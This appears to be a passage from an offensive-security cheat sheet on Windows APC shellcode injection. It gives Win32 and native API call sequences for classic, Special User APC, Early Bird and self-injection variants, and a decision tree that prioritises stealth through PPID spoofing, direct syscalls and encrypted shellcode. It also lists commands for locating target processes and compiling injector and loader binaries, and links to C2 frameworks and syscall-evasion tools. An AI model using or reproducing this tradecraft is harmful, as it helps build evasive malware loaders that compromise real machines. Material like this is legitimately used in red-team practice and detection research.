WriteProcessMemory(hProc, pRemote, pLocal, size, &written);
VirtualProtectEx(hProc, pRemote, size, PAGE_EXECUTE_READ, &old);
OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
QueueUserAPC((PAPCFUNC)pRemote, hThread, 0); // User-mode APC
// ── Native APIs (prefer over Win32 for OPSEC) ───────────────
NtOpenProcess(&hProc, access, &objAttr, &clientId);
NtAllocateVirtualMemory(hProc, &pRemote, 0, &size, MEM_COMMIT, PAGE_READWRITE);
NtWriteVirtualMemory(hProc, pRemote, shellcode, size, &written);
NtProtectVirtualMemory(hProc, &pRemote, &size, PAGE_EXECUTE_READ, &old);
NtOpenThread(&hThread, THREAD_SET_CONTEXT, &objAttr, &clientId);
NtQueueApcThread(hThread, pRemote, pRemote, NULL, NULL); // APC via native
// ── Special User APC (no alertable required) ─────────────────
NtQueueApcThreadEx(hThread, NULL, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC,
pRemote, NULL, NULL, NULL);
// ── Early Bird ───────────────────────────────────────────────
CreateProcessA(NULL, "C:\\Windows\\System32\\svchost.exe",
NULL, NULL, FALSE, CREATE_SUSPENDED|CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
// ... alloc + write shellcode in pi.hProcess ...
QueueUserAPC((PAPCFUNC)pRemote, pi.hThread, 0);
ResumeThread(pi.hThread);
// ── Self-APC ─────────────────────────────────────────────────
// Allocate + write shellcode locally
QueueUserAPC((PAPCFUNC)local_buf, GetCurrentThread(), 0);
SleepEx(INFINITE, TRUE); // Triggers APC dispatch on current thread
Decision Tree — Which APC Variant?
Need to inject shellcode?
│
├─ Self / own process only (no cross-process)?
│ └─ Self-APC: VirtualAlloc → write → VirtualProtect(RX)
│ → QueueUserAPC(GetCurrentThread) → SleepEx(INFINITE, TRUE)
│
├─ Injecting into EXISTING process?
│ │
│ ├─ Target known to have alertable threads? (svchost, SearchIndexer)
│ │ ├─ OPSEC priority?
│ │ │ └─ Direct syscall NtQueueApcThread (SysWhispers3)
│ │ └─ Quick & dirty?
│ │ └─ Classic QueueUserAPC (all threads)
│ │
│ ├─ Target alertability unknown?
│ │ └─ NtQueueApcThreadEx with SPECIAL_USER_APC flag
│ │ → No alertable state required
│ │
│ └─ Guarantee alertable thread exists?
│ └─ Hybrid: CreateRemoteThread(alertable_sleep_stub)
│ → SleepEx(INFINITE, TRUE) in remote
│ → QueueUserAPC to that thread
│
├─ Maximum stealth / OPSEC?
│ └─ Early Bird:
│ CreateProcess(SUSPENDED) → inject → QueueUserAPC → ResumeThread
│ + PPID spoof to match target environment
│ + Direct syscalls for all operations
│ + RW → RX memory flow
│ + Encrypted shellcode (decrypt in APC callback)
│
└─ CTF / learning environment?
└─ Classic QueueUserAPC (queue to ALL threads)
→ Choose a target like notepad.exe (GUI = alertable main thread)
→ Or inject into your own process with SleepEx
Alertable Wait Functions Quick Reference
// Enter alertable wait — these trigger APC dispatch:
SleepEx(INFINITE, TRUE); // Most common
WaitForSingleObjectEx(hObj, INFINITE, TRUE);
WaitForMultipleObjectsEx(n, handles, FALSE, INFINITE, TRUE);
MsgWaitForMultipleObjectsEx(0, NULL, INFINITE, QS_ALLEVENTS, MWMO_ALERTABLE);
GetQueuedCompletionStatusEx(iocp, entries, n, &removed, INFINITE, TRUE);
// NON-alertable (APCs NOT dispatched):
Sleep(1000); // NOT alertable
WaitForSingleObject(hObj, INFINITE); // NOT alertable
WaitForMultipleObjects(n, handles, FALSE, INFINITE); // NOT alertable
Find PID / TID (Quick Commands)
# Find target PID
Get-Process svchost | Select Id, Name, Description
# Get all threads of a process
$pid = 1234
(Get-Process -Id $pid).Threads | Select Id, ThreadState, WaitReason
# WaitReason values that suggest alertable:
# UserRequest (5), DelayExecution (6), WrUserRequest (3)
:: List processes
tasklist /v
tasklist /fi "IMAGENAME eq svchost.exe"
:: Get threads (requires Sysinternals handle.exe / procexp)
handle.exe -p svchost.exe
# Find svchost PID (from Linux, targeting remote Windows):
# crackmapexec smb 10.10.10.10 -u user -p pass --processes
# Or use CSharpRepl / Bof tooling from your C2
Compile Commands
:: MSVC — compile injector
cl.exe apc_inject.c /Fe:apc_inject.exe /link kernel32.lib
:: With SysWhispers3 (requires ml64.exe for .asm)
ml64.exe /c syscallsstubs.asm /Fo syscallsstubs.obj
cl.exe apc_inject.c syscalls.c syscallsstubs.obj /Fe:apc_inject.exe
:: MinGW cross-compile (from Linux)
x86_64-w64-mingw32-gcc apc_inject.c -o apc_inject.exe -lkernel32 -lntdll
:: Compile Early Bird loader
cl.exe early_bird.c /Fe:early_bird.exe /link kernel32.lib
References & Tools
Core Tools & Projects: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 (direct syscall stub generator) - HellsGate — https://github.com/am0nsec/HellsGate (runtime SSN resolution) - TartarusGate — https://github.com/trickster0/TartarusGate (unhooking + syscalls) - FreshyCalls — https://github.com/crummie5/FreshyCalls (sort-based SSN resolution) - SharpAPC — https://github.com/S3cur3Th1sSh1t/SharpAPC (C# APC injection PoC)
Offensive Frameworks (APC support built-in):
- Sliver C2 — https://github.com/BishopFox/sliver (APC-based injection in BOFs)
- Havoc C2 — https://github.com/HavocFramework/Havoc (process injection modules)
- Cobalt Strike — shinject, inject (APC under the hood)
- Metasploit — migrate (uses various injection techniques)
BOFs (Beacon Object Files — for C2 use): - InlineExecute-Assembly — APC-aware BOFs - TrustedSec BOF Collection — https://github.com/trustedsec/CS-Remote-OPs-BOF
Research & Reading: - Ired.team — "Shellcode Execution via CreateFiber" + APC injection walkthroughs - modexp.wordpress.com — Deep APC internals (NtQueueApcThreadEx, Special User APC) - Elastic Security Research — APC injection detection techniques - VX-Underground — Offensive APC technique samples - Sektor7 — Malware Development Intermediate course (APC section) - Windows Internals (Yosifovich, Ionescu) — Part 1, Chapter 3: Threads & APCs